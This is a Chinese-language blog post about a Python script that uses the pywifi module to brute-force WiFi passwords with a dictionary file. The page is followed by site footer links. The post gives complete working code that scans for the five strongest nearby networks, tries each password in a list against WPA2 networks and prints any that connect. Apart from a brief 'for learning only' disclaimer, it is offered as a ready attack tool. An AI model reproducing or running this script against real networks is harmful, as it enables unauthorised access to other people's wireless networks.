Python利用字典破解WIFI密码的方法


Posted in Python onFebruary 27, 2019

最近看到网上的一些作品,然后进行一些完善。只是用于学习,不要去干坏事哦。程序来源于网,我只是做了一些优化。当然这种方法破解还是有点慢哦。我用的python 3.6.5

既然要破解wifi,那么连接wifi的模块首先要有的,我们要导入pywifi模块。

有些同学可能没有这个,如果直接通过pip安装的话,可能不能用,听说这个wifi模块被停用了,所以大家如果通过pip安装的不行,那么就下载我提供的。

链接:https://pan.baidu.com/s/1rn-5F1CS5UXOTcLh3QAMhg

本地安装方法:

1)下载解压好以后,我们用cmd命令行,进入到你的文件目录

2)使用命令pip install . 注意了(install后面有个点) 

3)然后就会安装了,等一会就可以了。

程序先查找附近的WIFI,然后按信号强度进行排序,然后只取前wificount=5个信号好的。

import pywifi
from pywifi import const #引用一些定义
import time
namelist = []
ssidlist = []
result = [] #存放查询到的WIFI,密码
wificount=5 #查询附近信号最强的5个WIFI,最多5个
def getwifi():
  wifi=pywifi.PyWiFi()#抓取网卡接口
  ifaces=wifi.interfaces()[0]#获取网卡
  ifaces.scan()
  time.sleep(8) 
  bessis = ifaces.scan_results()
  list = []  
  for data in bessis:
    if(data.ssid not in namelist): #去掉重复的WIFI名称
      namelist.append(data.ssid)
      list.append((data.ssid, data.signal))  
  sorted(list, key=lambda st: st[1], reverse=True)
  time.sleep(1)
  n=0
  if len(list) is not 0:
    for item in list:
      if(item[0] not in ssidlist):
        n=n+1
        if n<=wificount:
          ssidlist.append(item[0])
  print(ssidlist)
def testwifi(ssidname,password):
  wifi=pywifi.PyWiFi()#抓取网卡接口
  ifaces=wifi.interfaces()[0]#获取网卡
  ifaces.disconnect()#断开无限网卡连接
  profile=pywifi.Profile()#创建wifi连接文件
  profile.ssid=ssidname#定义wifissid
  profile.auth=const.AUTH_ALG_OPEN#网卡的开放
  profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
  profile.cipher=const.CIPHER_TYPE_CCMP##加密单元
  profile.key=password #wifi密码
  ifaces.remove_all_network_profiles()#删除其他所有配置文件
  tmp_profile=ifaces.add_network_profile(profile)#加载配置文件
  ifaces.connect(tmp_profile)#连接wifi
  time.sleep(5)#5秒内能否连接上
  if ifaces.status()==const.IFACE_CONNECTED:   
    return True    
  else:
    #print("[-]WiFi connection failure!")
    return False
  #ifaces.disconnect()#断开连接
  #time.sleep(1)
  return True
def main():
  getwifi() 
  #ssidlist = ['Oun'] #如果知道WIFI直接写就行了。
  if(len(ssidlist) is not 0):
    path=r"password.txt"
    files=open(path,'r')
    while True:
        if(len(ssidlist) is 0):
          break
        try:
          password =files.readline()
          password=password.strip('\n')
          if not password:
            break
          for item in result: #把已经找到密码的WIFI从查询中删除。
            ssidlist.remove(item[0])
          for ssidname in ssidlist:           
            if(testwifi(ssidname,password)==True):
              result.append((ssidname,password)) #把找到的WIFI密码保存起来
              print('Succ','Current WifiName:',ssidname,'Current Password:',password)
            else:
              print('Fail','Current WifiName:',ssidname,'Current Password:',password)
        except:
          continue
    files.close()
    print("\n","WIFI结果列表:")
    for item in result: #把已经找到密码的WIFI从查询中删除。
      print("")
      print("无线:",item[0])
      print("密码:",item[1])
  else:
    print("没有找到WIFI信号,请重试。")
if __name__ == '__main__':
  main()

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。如果你想了解更多相关内容请查看下面相关链接

Python 相关文章推荐
python实现给字典添加条目的方法
Sep 25 Python
在Python中使用Neo4j数据库的教程
Apr 16 Python
Python运算符重载用法实例分析
Jun 01 Python
Python聚类算法之基本K均值实例详解
Nov 20 Python
Python 模拟登陆的两种实现方法
Aug 10 Python
Python获取CPU、内存使用率以及网络使用状态代码
Feb 08 Python
PyQt5每天必学之QSplitter实现窗口分隔
Apr 19 Python
Empty test suite.(PyCharm程序运行错误的解决方法)
Nov 30 Python
对python PLT中的image和skimage处理图片方法详解
Jan 10 Python
使用python PIL库实现简单验证码的去噪方法步骤
May 10 Python
TensorFlow命名空间和TensorBoard图节点实例
Jan 23 Python
keras读取h5文件load_weights、load代码操作
Jun 12 Python
pyside+pyqt实现鼠标右键菜单功能
Dec 08 #Python
基于PyQt4和PySide实现输入对话框效果
Feb 27 #Python
python使用PyQt5的简单方法
Feb 27 #Python
Python创建字典的八种方式
Feb 27 #Python
基于wxPython的GUI实现输入对话框(2)
Feb 27 #Python
基于wxPython的GUI实现输入对话框(1)
Feb 27 #Python
Python使用字典的嵌套功能详解
Feb 27 #Python
You might like
php Smarty初体验二 获取配置信息
2011/08/08 PHP
javascript 动态加载 css 方法总结
2009/07/11 Javascript
Prototype Array对象 学习
2009/07/19 Javascript
javascript判断ie浏览器6/7版本加载不同样式表的实现代码
2011/12/26 Javascript
form表单中去掉默认的enter键提交并绑定js方法实现代码
2013/04/01 Javascript
对new functionName()定义一个函数的理解
2014/05/22 Javascript
在Node.js应用中使用Redis的方法简介
2015/06/24 Javascript
基于JavaScript实现移动端点击图片查看大图点击大图隐藏
2015/11/04 Javascript
jquery对复选框(checkbox)的操作汇总
2016/01/13 Javascript
javascript实现滚动效果的数字时钟实例
2016/07/21 Javascript
AngularJS基础 ng-submit 指令简单示例
2016/08/03 Javascript
Three.js的使用及绘制基础3D图形详解
2017/04/27 Javascript
JavaScript正则表达式的贪婪匹配和非贪婪匹配
2017/09/05 Javascript
Vue 过滤器filters及基本用法
2017/12/26 Javascript
一次微信小程序内地图的使用实战记录
2019/09/09 Javascript
mpvue微信小程序开发之实现一个弹幕评论
2019/11/24 Javascript
Vue实现星级评价效果实例详解
2019/12/30 Javascript
react 原生实现头像滚动播放的示例
2020/04/21 Javascript
ES6学习教程之Promise用法详解
2020/11/22 Javascript
python实现获取客户机上指定文件并传输到服务器的方法
2015/03/16 Python
Python内置函数dir详解
2015/04/14 Python
Python+django实现文件下载
2016/01/17 Python
利用Python暴力破解zip文件口令的方法详解
2017/12/21 Python
浅谈Scrapy网络爬虫框架的工作原理和数据采集
2019/02/07 Python
Python3.7 pyodbc完美配置访问access数据库
2019/10/03 Python
Python中url标签使用知识点总结
2020/01/16 Python
用C语言实现文件读写操作
2013/10/27 面试题
法学专业自我鉴定
2014/02/05 职场文书
法律六进活动方案
2014/03/13 职场文书
图书室标语
2014/06/21 职场文书
门面房租房协议书
2014/08/20 职场文书
2015年度绩效考核工作总结
2015/05/27 职场文书
同事去世追悼词
2015/06/23 职场文书
实践论读书笔记
2015/06/29 职场文书
让人瞬间清醒的句子,句句经典,字字如金
2019/07/08 职场文书
85句关于理想的名言警句大全
2019/08/22 职场文书